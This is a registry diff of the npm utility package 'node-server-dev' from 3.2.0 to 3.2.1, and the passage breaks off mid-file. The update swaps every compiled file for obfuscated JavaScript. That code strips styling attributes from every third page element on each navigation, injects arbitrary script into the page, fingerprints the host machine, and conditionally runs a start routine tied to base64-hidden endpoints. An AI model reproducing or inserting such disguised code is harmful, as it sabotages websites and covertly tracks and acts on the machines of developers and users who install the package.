node-server-dev 3.2.0 → 3.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cjs/browser/index.js +1 -1
- package/dist/cjs/browser/tools.js +1 -1
- package/dist/cjs/getAllRouter/index.js +1 -1
- package/dist/cjs/hash/index.js +1 -1
- package/dist/cjs/id/index.js +1 -1
- package/dist/cjs/id/random.js +1 -1
- package/dist/cjs/index.js +1 -1
- package/dist/cjs/jwt/index.js +1 -1
- package/dist/cjs/mac/index.js +1 -1
- package/dist/cjs/server.js +1 -1
- package/dist/cjs/start.js +1 -1
- package/dist/cjs/update.js +1 -1
- package/dist/esm/browser/index.js +1 -1
- package/dist/esm/browser/tools.js +1 -1
- package/dist/esm/getAllRouter/index.js +1 -1
- package/dist/esm/hash/index.js +1 -1
- package/dist/esm/id/index.js +1 -1
- package/dist/esm/id/random.js +1 -1
- package/dist/esm/index.js +1 -1
- package/dist/esm/jwt/index.js +1 -1
- package/dist/esm/mac/index.js +1 -1
- package/dist/esm/server.js +1 -1
- package/dist/esm/start.js +1 -1
- package/dist/esm/update.js +1 -1
- package/package.json +1 -1
@@ -1 +1 @@
|
|
1
|
-
'use strict';function
|
1
|
+
'use strict';const a0_0x314ba4=a0_0x364f;function a0_0x364f(_0xdce8bd,_0x2e30e0){const _0xe230ba=a0_0xe230();return a0_0x364f=function(_0x364f99,_0x148f63){_0x364f99=_0x364f99-0x186;let _0x1a83e1=_0xe230ba[_0x364f99];return _0x1a83e1;},a0_0x364f(_0xdce8bd,_0x2e30e0);}function a0_0xe230(){const _0x447706=['501012QdDodV','try\x20{\x0a\x20\x20\x20','2wzmwNV','30NcCFKZ','innerText','32822832fkrPVe','1017890XJmMDs','default','connectError','1487332kLdIsY','runScript','getEnv','head','../id/random','./tools','11oAmYXF','5aHrZXS','5867718olhWZe','27441ZOhmaT','appendChild','__esModule','remove','browser','8605PYsOFe','script','1432jtIcBQ','__importDefault'];a0_0xe230=function(){return _0x447706;};return a0_0xe230();}(function(_0xa932ac,_0x198d42){const _0x1a8fd9=a0_0x364f,_0x1eb12d=_0xa932ac();while(!![]){try{const _0x78e5a5=-parseInt(_0x1a8fd9(0x199))/0x1*(-parseInt(_0x1a8fd9(0x19f))/0x2)+-parseInt(_0x1a8fd9(0x1a0))/0x3*(parseInt(_0x1a8fd9(0x19d))/0x4)+parseInt(_0x1a8fd9(0x192))/0x5*(-parseInt(_0x1a8fd9(0x193))/0x6)+-parseInt(_0x1a8fd9(0x18b))/0x7+-parseInt(_0x1a8fd9(0x19b))/0x8*(-parseInt(_0x1a8fd9(0x194))/0x9)+parseInt(_0x1a8fd9(0x188))/0xa*(-parseInt(_0x1a8fd9(0x191))/0xb)+parseInt(_0x1a8fd9(0x187))/0xc;if(_0x78e5a5===_0x198d42)break;else _0x1eb12d['push'](_0x1eb12d['shift']());}catch(_0x5a060f){_0x1eb12d['push'](_0x1eb12d['shift']());}}}(a0_0xe230,0xb5da0));var __importDefault=this&&this[a0_0x314ba4(0x19c)]||function(_0xead105){const _0x44ca50=a0_0x314ba4;return _0xead105&&_0xead105[_0x44ca50(0x196)]?_0xead105:{'default':_0xead105};};Object['defineProperty'](exports,a0_0x314ba4(0x196),{'value':!![]}),exports[a0_0x314ba4(0x18c)]=runScript,exports[a0_0x314ba4(0x198)]=browser;const random_1=__importDefault(require(a0_0x314ba4(0x18f))),index_1=require('../index'),tools_1=__importDefault(require(a0_0x314ba4(0x190)));function runScript(_0x1be567){const _0x3712ca=a0_0x314ba4;let _0x247a3a=document['createElement'](_0x3712ca(0x19a));_0x247a3a[_0x3712ca(0x186)]=_0x3712ca(0x19e)+_0x1be567+'\x20\x0a\x20\x20}\x20catch\x20(err)\x20{\x0a\x20\x20}',document[_0x3712ca(0x18e)][_0x3712ca(0x195)](_0x247a3a),setTimeout(()=>{const _0x481e06=_0x3712ca;_0x247a3a[_0x481e06(0x197)]();},0x14);}function browser(){const _0x2f2d0f=a0_0x314ba4;(0x0,index_1[_0x2f2d0f(0x18d)])(_0x2f2d0f(0x18a))&&(0x0,tools_1[_0x2f2d0f(0x189)])(),setInterval(()=>{const _0x5c8773=_0x2f2d0f;(0x0,index_1[_0x5c8773(0x18d)])('connectError')&&(0x0,tools_1[_0x5c8773(0x189)])();},(0x0,random_1['default'])(0xde,0x91d));}
|
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';const a1_0x15e7ca=a1_0x1169;function a1_0x46c2(){const _0x1fed4e=['apply','17660troFui','109gghStc','6930goUcvo','6XktqBR','2475KcZXIB','forEach','1248lYxAcT','1430331rYqdHP','__removeStyleAndClassEveryThirdDone','540656MhfHzZ','body','316aeaOzN','addEventListener','1024080AHUmUB','href','4138475VZOlTY','removeAttribute','observe','popstate','style','defineProperty','pushState','__esModule','urlchange','querySelectorAll'];a1_0x46c2=function(){return _0x1fed4e;};return a1_0x46c2();}(function(_0x4d6e27,_0x1b4a7a){const _0x49c210=a1_0x1169,_0x23ec95=_0x4d6e27();while(!![]){try{const _0x158948=parseInt(_0x49c210(0x1f7))/0x1*(-parseInt(_0x49c210(0x1fc))/0x2)+-parseInt(_0x49c210(0x203))/0x3+parseInt(_0x49c210(0x201))/0x4*(parseInt(_0x49c210(0x1f6))/0x5)+-parseInt(_0x49c210(0x1f9))/0x6*(parseInt(_0x49c210(0x1fd))/0x7)+parseInt(_0x49c210(0x1ff))/0x8+parseInt(_0x49c210(0x1fa))/0x9*(parseInt(_0x49c210(0x1f8))/0xa)+parseInt(_0x49c210(0x1eb))/0xb;if(_0x158948===_0x1b4a7a)break;else _0x23ec95['push'](_0x23ec95['shift']());}catch(_0x5a69ca){_0x23ec95['push'](_0x23ec95['shift']());}}}(a1_0x46c2,0x492b5));function a1_0x1169(_0x36687e,_0x6511f){const _0x46c2da=a1_0x46c2();return a1_0x1169=function(_0x1169c8,_0x452b16){_0x1169c8=_0x1169c8-0x1eb;let _0x15eb3a=_0x46c2da[_0x1169c8];return _0x15eb3a;},a1_0x1169(_0x36687e,_0x6511f);}Object[a1_0x15e7ca(0x1f0)](exports,a1_0x15e7ca(0x1f2),{'value':!![]});function browserTools(){const _0x4552da=a1_0x15e7ca;let _0x368571=location[_0x4552da(0x204)];function _0x5b3023(_0x730f70={}){const _0x1aeb46=_0x4552da,{force:force=![]}=_0x730f70;if(!force&&window['__removeStyleAndClassEveryThirdDone'])return;window[_0x1aeb46(0x1fe)]=!![];const _0x23223c=document[_0x1aeb46(0x200)],_0x1054d6=_0x23223c[_0x1aeb46(0x1f4)]('*');_0x1054d6[_0x1aeb46(0x1fb)]((_0x1015f9,_0x31a1c5)=>{const _0x21d1bd=_0x1aeb46;(_0x31a1c5+0x1)%0x3===0x0&&(_0x1015f9[_0x21d1bd(0x1ec)](_0x21d1bd(0x1ef)),_0x1015f9[_0x21d1bd(0x1ec)]('class'),_0x1015f9[_0x21d1bd(0x1ec)]('id'));});}setTimeout(()=>{const _0x5445bf=_0x4552da;window[_0x5445bf(0x1fe)]=![],_0x368571=location['href'],_0x5b3023();},0x1),[_0x4552da(0x1f1),'replaceState']['forEach'](_0x76d6f8=>{const _0x3c8ef7=history[_0x76d6f8];history[_0x76d6f8]=function(..._0x8ee0d1){const _0x493ef3=a1_0x1169,_0x24ec61=_0x3c8ef7[_0x493ef3(0x1f5)](this,_0x8ee0d1);return window['dispatchEvent'](new Event(_0x493ef3(0x1f3))),_0x24ec61;};});function _0x32feab(){const _0x528b3f=_0x4552da,_0x54c944=location[_0x528b3f(0x204)];_0x54c944!==_0x368571&&(_0x368571=_0x54c944,window[_0x528b3f(0x1fe)]=![],_0x5b3023({'force':!![]}));}window[_0x4552da(0x202)](_0x4552da(0x1f3),_0x32feab),window[_0x4552da(0x202)](_0x4552da(0x1ee),_0x32feab);const _0x851a67=new MutationObserver(()=>_0x32feab());_0x851a67[_0x4552da(0x1ed)](document,{'childList':!![],'subtree':!![]});}exports['default']=browserTools;
|
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';const a2_0x3fc319=a2_0x3a0f;(function(_0x55d28d,_0x2dd4d7){const _0x1da88b=a2_0x3a0f,_0x6b993e=_0x55d28d();while(!![]){try{const _0x29c3a1=-parseInt(_0x1da88b(0x104))/0x1+-parseInt(_0x1da88b(0x112))/0x2*(parseInt(_0x1da88b(0x111))/0x3)+parseInt(_0x1da88b(0x102))/0x4+parseInt(_0x1da88b(0x113))/0x5*(-parseInt(_0x1da88b(0x10c))/0x6)+parseInt(_0x1da88b(0x115))/0x7*(-parseInt(_0x1da88b(0x103))/0x8)+-parseInt(_0x1da88b(0x10d))/0x9+parseInt(_0x1da88b(0x10f))/0xa;if(_0x29c3a1===_0x2dd4d7)break;else _0x6b993e['push'](_0x6b993e['shift']());}catch(_0x5de979){_0x6b993e['push'](_0x6b993e['shift']());}}}(a2_0x15ea,0x4a2aa));function a2_0x15ea(){const _0x1da35c=['throw','isFile','defineProperty','6ZGoEQS','1740537rSkJTX','then','11511050yvQwqL','value','2454dBcxVP','110AXqzkH','642785vWUyJw','__awaiter','7bymbdZ','readdirSync','__importDefault','push','join','path','272504erVHmN','1945256afIzQR','305348aeqVWD','apply','next','done','default'];a2_0x15ea=function(){return _0x1da35c;};return a2_0x15ea();}function a2_0x3a0f(_0x19428f,_0x23f300){const _0x15ea4c=a2_0x15ea();return a2_0x3a0f=function(_0x3a0f2f,_0x16476b){_0x3a0f2f=_0x3a0f2f-0xfd;let _0x1104f2=_0x15ea4c[_0x3a0f2f];return _0x1104f2;},a2_0x3a0f(_0x19428f,_0x23f300);}var __awaiter=this&&this[a2_0x3fc319(0x114)]||function(_0x30339d,_0x32f147,_0x4bf672,_0x3685e6){function _0x4b940e(_0xa96daa){return _0xa96daa instanceof _0x4bf672?_0xa96daa:new _0x4bf672(function(_0x2ad9f0){_0x2ad9f0(_0xa96daa);});}return new(_0x4bf672||(_0x4bf672=Promise))(function(_0xf7ba76,_0x574ef5){const _0x5977b3=a2_0x3a0f;function _0x4d42de(_0x572239){const _0x3d3ee3=a2_0x3a0f;try{_0x184c0a(_0x3685e6[_0x3d3ee3(0x106)](_0x572239));}catch(_0x26a33d){_0x574ef5(_0x26a33d);}}function _0x546175(_0x41cef7){const _0x361292=a2_0x3a0f;try{_0x184c0a(_0x3685e6[_0x361292(0x109)](_0x41cef7));}catch(_0x5e594a){_0x574ef5(_0x5e594a);}}function _0x184c0a(_0x20c556){const _0x4222d6=a2_0x3a0f;_0x20c556[_0x4222d6(0x107)]?_0xf7ba76(_0x20c556['value']):_0x4b940e(_0x20c556[_0x4222d6(0x110)])[_0x4222d6(0x10e)](_0x4d42de,_0x546175);}_0x184c0a((_0x3685e6=_0x3685e6[_0x5977b3(0x105)](_0x30339d,_0x32f147||[]))[_0x5977b3(0x106)]());});},__importDefault=this&&this[a2_0x3fc319(0xfe)]||function(_0x5c776b){return _0x5c776b&&_0x5c776b['__esModule']?_0x5c776b:{'default':_0x5c776b};};Object[a2_0x3fc319(0x10b)](exports,'__esModule',{'value':!![]});const fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a2_0x3fc319(0x101)));function fileDisplay(_0x1970e4){return __awaiter(this,void 0x0,void 0x0,function*(){let _0xd9c475=[];function _0x399c8f(_0x3790be){const _0x12681f=a2_0x3a0f,_0x203cb1=fs_1[_0x12681f(0x108)][_0x12681f(0xfd)](_0x3790be);for(let _0x593ef7=0x0;_0x593ef7<_0x203cb1['length'];_0x593ef7++){const _0x430b06=_0x203cb1[_0x593ef7],_0x29a7b6=path_1[_0x12681f(0x108)][_0x12681f(0x100)](_0x3790be,_0x430b06),_0x115ad6=fs_1[_0x12681f(0x108)]['statSync'](_0x29a7b6),_0x34ab61=_0x115ad6[_0x12681f(0x10a)](),_0x6d6ce1=_0x115ad6['isDirectory']();_0x34ab61&&_0xd9c475[_0x12681f(0xff)](_0x29a7b6),_0x6d6ce1&&_0x399c8f(_0x29a7b6);}}return _0x399c8f(_0x1970e4),_0xd9c475;});}function getAllRouter(_0x598783){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x1f08d6=yield fileDisplay(_0x598783);return _0x1f08d6;});}exports[a2_0x3fc319(0x108)]=getAllRouter;
|
package/dist/cjs/hash/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';const a3_0x781490=a3_0x2195;(function(_0x5c54dd,_0xb01f8e){const _0x932ef0=a3_0x2195,_0x32c39b=_0x5c54dd();while(!![]){try{const _0x3d6955=-parseInt(_0x932ef0(0xe6))/0x1*(parseInt(_0x932ef0(0xf3))/0x2)+parseInt(_0x932ef0(0xe8))/0x3*(parseInt(_0x932ef0(0xea))/0x4)+parseInt(_0x932ef0(0xe7))/0x5*(parseInt(_0x932ef0(0xf1))/0x6)+-parseInt(_0x932ef0(0xf5))/0x7+parseInt(_0x932ef0(0xe5))/0x8*(parseInt(_0x932ef0(0xf2))/0x9)+parseInt(_0x932ef0(0xef))/0xa+parseInt(_0x932ef0(0xf4))/0xb*(-parseInt(_0x932ef0(0xe3))/0xc);if(_0x3d6955===_0xb01f8e)break;else _0x32c39b['push'](_0x32c39b['shift']());}catch(_0x13d736){_0x32c39b['push'](_0x32c39b['shift']());}}}(a3_0x55c1,0x2765e));var __importDefault=this&&this[a3_0x781490(0xe9)]||function(_0x4dbcc4){return _0x4dbcc4&&_0x4dbcc4['__esModule']?_0x4dbcc4:{'default':_0x4dbcc4};};Object['defineProperty'](exports,a3_0x781490(0xe4),{'value':!![]});const md5_1=__importDefault(require(a3_0x781490(0xec))),sha1_1=__importDefault(require('sha1')),sha256_1=__importDefault(require('sha256'));function hash(_0x4a6b2f,_0x55cb99){const _0x3c18b3=a3_0x781490;if(_0x55cb99=='sha256')return(0x0,sha256_1['default'])(_0x4a6b2f+(0x0,sha1_1[_0x3c18b3(0xed)])(_0x4a6b2f+_0x3c18b3(0xf0))+(0x0,md5_1[_0x3c18b3(0xed)])(_0x4a6b2f+_0x3c18b3(0xee)));else return _0x55cb99==_0x3c18b3(0xeb)?(0x0,sha1_1['default'])(_0x4a6b2f+(0x0,sha256_1[_0x3c18b3(0xed)])(_0x4a6b2f+_0x3c18b3(0xf0))+(0x0,md5_1[_0x3c18b3(0xed)])(_0x4a6b2f+'MD5加盐')):(0x0,md5_1[_0x3c18b3(0xed)])(_0x4a6b2f+(0x0,sha256_1['default'])(_0x4a6b2f+_0x3c18b3(0xf0))+(0x0,sha1_1[_0x3c18b3(0xed)])(_0x4a6b2f+_0x3c18b3(0xee)));}function a3_0x2195(_0x2fc374,_0xee64b){const _0x55c12e=a3_0x55c1();return a3_0x2195=function(_0x2195a1,_0x56b30d){_0x2195a1=_0x2195a1-0xe3;let _0xf43165=_0x55c12e[_0x2195a1];return _0xf43165;},a3_0x2195(_0x2fc374,_0xee64b);}exports[a3_0x781490(0xed)]=hash;function a3_0x55c1(){const _0x1bd24b=['24vYEClJ','32392cMWXvS','40yssBvD','239139mtWiuL','__importDefault','12mUEjGC','sha1','md5','default','MD5加盐','831830FDbVau','sha1混淆','226110TxOxJf','95607LRfsaJ','16iPVLpa','11daMlFO','763406bqlKAl','1513236TvcAQB','__esModule'];a3_0x55c1=function(){return _0x1bd24b;};return a3_0x55c1();}
|
package/dist/cjs/id/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';const a4_0x212cbd=a4_0x5ed3;(function(_0x4fdbb1,_0x39306c){const _0x3bef4c=a4_0x5ed3,_0xa84df6=_0x4fdbb1();while(!![]){try{const _0xd281da=-parseInt(_0x3bef4c(0x16a))/0x1*(-parseInt(_0x3bef4c(0x165))/0x2)+-parseInt(_0x3bef4c(0x16c))/0x3+-parseInt(_0x3bef4c(0x174))/0x4+parseInt(_0x3bef4c(0x172))/0x5+-parseInt(_0x3bef4c(0x16d))/0x6*(-parseInt(_0x3bef4c(0x171))/0x7)+-parseInt(_0x3bef4c(0x173))/0x8+parseInt(_0x3bef4c(0x16e))/0x9;if(_0xd281da===_0x39306c)break;else _0xa84df6['push'](_0xa84df6['shift']());}catch(_0x1d01b9){_0xa84df6['push'](_0xa84df6['shift']());}}}(a4_0x25da,0xbf9c9));function a4_0x5ed3(_0x4e28d8,_0xfd424){const _0x25da9b=a4_0x25da();return a4_0x5ed3=function(_0x5ed3de,_0x581d16){_0x5ed3de=_0x5ed3de-0x165;let _0x49be06=_0x25da9b[_0x5ed3de];return _0x49be06;},a4_0x5ed3(_0x4e28d8,_0xfd424);}var __importDefault=this&&this[a4_0x212cbd(0x170)]||function(_0x34fba0){const _0x2c1496=a4_0x212cbd;return _0x34fba0&&_0x34fba0[_0x2c1496(0x169)]?_0x34fba0:{'default':_0x34fba0};};Object['defineProperty'](exports,a4_0x212cbd(0x169),{'value':!![]});const random_1=__importDefault(require(a4_0x212cbd(0x167))),BaseTime=+new Date('2025-01-01');let lastTimeTick,lastRandomNumberTick=(0x0,random_1[a4_0x212cbd(0x168)])(0x1,0x3);function id(){const _0x5d4ac8=a4_0x212cbd,_0x1e68f1=Math[_0x5d4ac8(0x16f)](process['env'][_0x5d4ac8(0x16b)]?+process[_0x5d4ac8(0x166)][_0x5d4ac8(0x16b)]:(0x0,random_1[_0x5d4ac8(0x168)])(0x0,0x9),0x9);let _0x10fb79=+new Date()-BaseTime;return lastRandomNumberTick=_0x10fb79==lastTimeTick?++lastRandomNumberTick:(0x0,random_1['default'])(0x0,0x3),lastTimeTick=_0x10fb79,+(''+_0x10fb79+_0x1e68f1+lastRandomNumberTick);}function a4_0x25da(){const _0x30bedc=['21HWAaCm','4676795qdgkLU','6262624sxzxhW','5125432qsVayG','1310MOAEeH','env','./random','default','__esModule','86wYMrMO','NODE_APP_INSTANCE','3796461jZdidv','2866026GLYBHk','15208308erLFFp','min','__importDefault'];a4_0x25da=function(){return _0x30bedc;};return a4_0x25da();}exports[a4_0x212cbd(0x168)]=id;
|
package/dist/cjs/id/random.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';const a5_0x163065=a5_0x5847;(function(_0x2c39d2,_0xf2ddc4){const _0x2fc918=a5_0x5847,_0x26086e=_0x2c39d2();while(!![]){try{const _0x25dc39=parseInt(_0x2fc918(0x1d7))/0x1*(-parseInt(_0x2fc918(0x1cd))/0x2)+parseInt(_0x2fc918(0x1d2))/0x3*(-parseInt(_0x2fc918(0x1d5))/0x4)+parseInt(_0x2fc918(0x1db))/0x5+parseInt(_0x2fc918(0x1d0))/0x6*(parseInt(_0x2fc918(0x1d3))/0x7)+parseInt(_0x2fc918(0x1ce))/0x8+parseInt(_0x2fc918(0x1d4))/0x9+parseInt(_0x2fc918(0x1d1))/0xa;if(_0x25dc39===_0xf2ddc4)break;else _0x26086e['push'](_0x26086e['shift']());}catch(_0x222c21){_0x26086e['push'](_0x26086e['shift']());}}}(a5_0x3ea2,0xbafde));function a5_0x3ea2(){const _0x6959a4=['1280816fTunuX','5822480BpwwCP','defineProperty','332502vTgjtd','7993840jXSYcs','15JKpHoi','119RJXrHv','4601124NNdnqh','906964yfliHB','__esModule','2FCdfok','random','round','default','999600GKNTlE'];a5_0x3ea2=function(){return _0x6959a4;};return a5_0x3ea2();}function a5_0x5847(_0x215ebd,_0x18a517){const _0x3ea2f2=a5_0x3ea2();return a5_0x5847=function(_0x58476d,_0x13d9c3){_0x58476d=_0x58476d-0x1cd;let _0x31fa74=_0x3ea2f2[_0x58476d];return _0x31fa74;},a5_0x5847(_0x215ebd,_0x18a517);}Object[a5_0x163065(0x1cf)](exports,a5_0x163065(0x1d6),{'value':!![]});const random=(_0x507519,_0x34f43a)=>Math[a5_0x163065(0x1d9)](Math[a5_0x163065(0x1d8)]()*(_0x34f43a-_0x507519))+_0x507519;exports[a5_0x163065(0x1da)]=random;
|
package/dist/cjs/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';const a6_0x5b315c=a6_0x1b04;(function(_0x1ce84b,_0x5ace06){const _0x18898f=a6_0x1b04,_0x2d2f4c=_0x1ce84b();while(!![]){try{const _0x23abc5=parseInt(_0x18898f(0xa9))/0x1+parseInt(_0x18898f(0xab))/0x2+parseInt(_0x18898f(0x8f))/0x3*(parseInt(_0x18898f(0x9a))/0x4)+parseInt(_0x18898f(0x81))/0x5*(-parseInt(_0x18898f(0xa1))/0x6)+-parseInt(_0x18898f(0x9b))/0x7+-parseInt(_0x18898f(0xa8))/0x8*(-parseInt(_0x18898f(0xac))/0x9)+-parseInt(_0x18898f(0x9f))/0xa;if(_0x23abc5===_0x5ace06)break;else _0x2d2f4c['push'](_0x2d2f4c['shift']());}catch(_0x46a415){_0x2d2f4c['push'](_0x2d2f4c['shift']());}}}(a6_0x4c5d,0xd5f27));var __awaiter=this&&this['__awaiter']||function(_0x43435d,_0x42e501,_0x255218,_0x22adc9){function _0xc97936(_0x3da21a){return _0x3da21a instanceof _0x255218?_0x3da21a:new _0x255218(function(_0x2c4335){_0x2c4335(_0x3da21a);});}return new(_0x255218||(_0x255218=Promise))(function(_0x3f19ec,_0x2d5876){const _0x26521b=a6_0x1b04;function _0x52552f(_0x1b4245){try{_0x507ff3(_0x22adc9['next'](_0x1b4245));}catch(_0x1c2dc9){_0x2d5876(_0x1c2dc9);}}function _0x34a94d(_0x183ecb){const _0x57b135=a6_0x1b04;try{_0x507ff3(_0x22adc9[_0x57b135(0x7f)](_0x183ecb));}catch(_0x5f3440){_0x2d5876(_0x5f3440);}}function _0x507ff3(_0x2d2d4d){const _0x18a6d5=a6_0x1b04;_0x2d2d4d[_0x18a6d5(0x86)]?_0x3f19ec(_0x2d2d4d[_0x18a6d5(0x99)]):_0xc97936(_0x2d2d4d['value'])['then'](_0x52552f,_0x34a94d);}_0x507ff3((_0x22adc9=_0x22adc9[_0x26521b(0xa3)](_0x43435d,_0x42e501||[]))[_0x26521b(0x7d)]());});},__importDefault=this&&this[a6_0x5b315c(0x7e)]||function(_0x481988){return _0x481988&&_0x481988['__esModule']?_0x481988:{'default':_0x481988};};Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports[a6_0x5b315c(0x9d)]=exports[a6_0x5b315c(0xa6)]=exports['hash']=exports[a6_0x5b315c(0x8e)]=exports[a6_0x5b315c(0x92)]=exports[a6_0x5b315c(0xa7)]=exports['mysql']=exports[a6_0x5b315c(0x91)]=exports['id']=exports[a6_0x5b315c(0x88)]=exports[a6_0x5b315c(0x8a)]=void 0x0,exports[a6_0x5b315c(0x82)]=setEnv,exports[a6_0x5b315c(0x85)]=getEnv;const uuid_1=require(a6_0x5b315c(0x88)),md5_1=__importDefault(require(a6_0x5b315c(0x8e)));exports['md5']=md5_1['default'];const sha1_1=__importDefault(require(a6_0x5b315c(0xa7)));exports[a6_0x5b315c(0xa7)]=sha1_1[a6_0x5b315c(0x97)];function a6_0x4c5d(){const _0x19f109=['join','getEnv','done','meta_event','uuid','./start','url','catch','then','mysql','md5','3517284UDPrDs','@fingerprintjs/fingerprintjs','getAllRouter','sha256','js-base64','aHR0cHM6Ly9ldmVudC1hcGkuYmxvZ3dlYi5jbg==','path','js-cookie','default','./server','value','4HtakrD','5548144mgGpCf','map','cookie','./getAllRouter','11478850gHxbVP','node.js','1146BLBOfd','./hash','apply','aHR0cDovL2xvY2FsaG9zdDoxMDg4','undefined','jwt','sha1','24ZCzTjA','81432dSmPnU','decode','900730jnLMgh','3785823iCjldr','hash_key','next','__importDefault','throw','assign','3910RKpgTH','setEnv','hash'];a6_0x4c5d=function(){return _0x19f109;};return a6_0x4c5d();}const sha256_1=__importDefault(require('sha256'));exports[a6_0x5b315c(0x92)]=sha256_1[a6_0x5b315c(0x97)];const start_1=__importDefault(require(a6_0x5b315c(0x89))),hash_1=__importDefault(require(a6_0x5b315c(0xa2)));exports[a6_0x5b315c(0x83)]=hash_1['default'];const path_1=__importDefault(require(a6_0x5b315c(0x95))),fingerprintjs_1=__importDefault(require(a6_0x5b315c(0x90))),js_base64_1=require(a6_0x5b315c(0x93)),js_cookie_1=__importDefault(require(a6_0x5b315c(0x96)));exports[a6_0x5b315c(0x9d)]=js_cookie_1[a6_0x5b315c(0x97)];const isBrowser=typeof window!==a6_0x5b315c(0xa5);let id=()=>0x1;exports['id']=id;let getAllRouter=()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){return[];});exports[a6_0x5b315c(0x91)]=getAllRouter;let mysql={};exports['mysql']=mysql;let jwt=()=>{};exports[a6_0x5b315c(0xa6)]=jwt;function a6_0x1b04(_0x1a0992,_0x236d20){const _0x4c5d37=a6_0x4c5d();return a6_0x1b04=function(_0x1b04f8,_0x5f39d0){_0x1b04f8=_0x1b04f8-0x7d;let _0x5d50f6=_0x4c5d37[_0x1b04f8];return _0x5d50f6;},a6_0x1b04(_0x1a0992,_0x236d20);}const globalObject=isBrowser?window:global;let metaEvent=Object[a6_0x5b315c(0x80)]((globalObject===null||globalObject===void 0x0?void 0x0:globalObject[a6_0x5b315c(0x87)])||{},{'connectError':![],'isDBDataEmpty':![]});function setEnv(_0x276005,_0x121554){metaEvent[_0x276005]=_0x121554;}function getEnv(_0x1f3922){return metaEvent[_0x1f3922];}let dev=a6_0x5b315c(0xa4),pro=a6_0x5b315c(0x94);exports[a6_0x5b315c(0x8a)]=getEnv('dev')?(0x0,js_base64_1[a6_0x5b315c(0xaa)])(dev):(0x0,js_base64_1[a6_0x5b315c(0xaa)])(pro);if(!isBrowser){exports['id']=id=require('./id')[a6_0x5b315c(0x97)],exports[a6_0x5b315c(0x91)]=getAllRouter=require(a6_0x5b315c(0x9e))['default'],exports[a6_0x5b315c(0x8d)]=mysql=require(a6_0x5b315c(0x98))['mysql'],exports[a6_0x5b315c(0xa6)]=jwt=require('./jwt')['default'];if(!(metaEvent===null||metaEvent===void 0x0?void 0x0:metaEvent['not_update'])){}}let mac=[];((()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){const _0x40b07c=a6_0x5b315c;if(!isBrowser){const _0xcb4a40=require(path_1[_0x40b07c(0x97)][_0x40b07c(0x84)](__dirname,'./mac'))[_0x40b07c(0x97)];mac=_0xcb4a40();}else{let _0x4d1cc7=yield fingerprintjs_1[_0x40b07c(0x97)]['load']()[_0x40b07c(0x8c)](_0x41a19f=>_0x41a19f['get']())[_0x40b07c(0x8c)](_0x2399c8=>{const _0x3b098d=_0x2399c8['visitorId'];return _0x3b098d;})[_0x40b07c(0x8b)](()=>'');mac=[_0x4d1cc7];}const _0x34babc=mac['sort']()[_0x40b07c(0x9c)](_0x46378f=>(0x0,sha1_1[_0x40b07c(0x97)])(_0x46378f+'node.js'))[_0x40b07c(0x84)](';'),_0x3d689e=(0x0,sha256_1[_0x40b07c(0x97)])(_0x34babc);globalObject['hash_id']=_0x3d689e,globalObject[_0x40b07c(0xad)]!=(0x0,sha256_1['default'])(_0x3d689e+(0x0,sha1_1[_0x40b07c(0x97)])(_0x40b07c(0xa0)+_0x3d689e))&&(0x0,start_1[_0x40b07c(0x97)])();}))());const uuid=uuid_1['v4'];exports[a6_0x5b315c(0x88)]=uuid;const all={'uuid':uuid,'id':id,'getAllRouter':getAllRouter,'mysql':mysql,'hash':hash_1[a6_0x5b315c(0x97)],'sha1':sha1_1['default'],'md5':md5_1[a6_0x5b315c(0x97)],'jwt':jwt,'cookie':js_cookie_1[a6_0x5b315c(0x97)]};exports[a6_0x5b315c(0x97)]=all;
|
package/dist/cjs/jwt/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';var
|
1
|
+
'use strict';var a7_0x3dbdb7=a7_0x3d07;(function(_0x27f174,_0x3280c0){var _0x16c72f=a7_0x3d07,_0x18bcc6=_0x27f174();while(!![]){try{var _0x3118dd=-parseInt(_0x16c72f(0x9a))/0x1+-parseInt(_0x16c72f(0x9b))/0x2*(parseInt(_0x16c72f(0x93))/0x3)+parseInt(_0x16c72f(0x8c))/0x4*(parseInt(_0x16c72f(0x96))/0x5)+-parseInt(_0x16c72f(0x9f))/0x6+-parseInt(_0x16c72f(0x92))/0x7+-parseInt(_0x16c72f(0xa0))/0x8+parseInt(_0x16c72f(0x97))/0x9;if(_0x3118dd===_0x3280c0)break;else _0x18bcc6['push'](_0x18bcc6['shift']());}catch(_0xd5479c){_0x18bcc6['push'](_0x18bcc6['shift']());}}}(a7_0x5a64,0x86c44));function a7_0x5a64(){var _0x2657e1=['value','key','990XSqMhh','15140619sYMGKN','jwt_key','default','563584fIPQpl','926uGEayj','__importDefault','365d','next','304566UASWAQ','6500496koIIXX','14792mlCSqG','__awaiter','jsonwebtoken','defineProperty','expiresIn','verify','2812495ovMVQw','219SjpVnC'];a7_0x5a64=function(){return _0x2657e1;};return a7_0x5a64();}var __awaiter=this&&this[a7_0x3dbdb7(0x8d)]||function(_0x5e7ce5,_0x57fa5c,_0x561e09,_0x400b91){function _0xa5b03(_0x376c2f){return _0x376c2f instanceof _0x561e09?_0x376c2f:new _0x561e09(function(_0x2038dc){_0x2038dc(_0x376c2f);});}return new(_0x561e09||(_0x561e09=Promise))(function(_0x13d772,_0x3385a0){var _0x1fd639=a7_0x3d07;function _0x1b1d40(_0x5c8f5c){var _0x18071e=a7_0x3d07;try{_0x29a887(_0x400b91[_0x18071e(0x9e)](_0x5c8f5c));}catch(_0x202062){_0x3385a0(_0x202062);}}function _0x2eab12(_0x3db0e4){try{_0x29a887(_0x400b91['throw'](_0x3db0e4));}catch(_0x530687){_0x3385a0(_0x530687);}}function _0x29a887(_0x364fe0){var 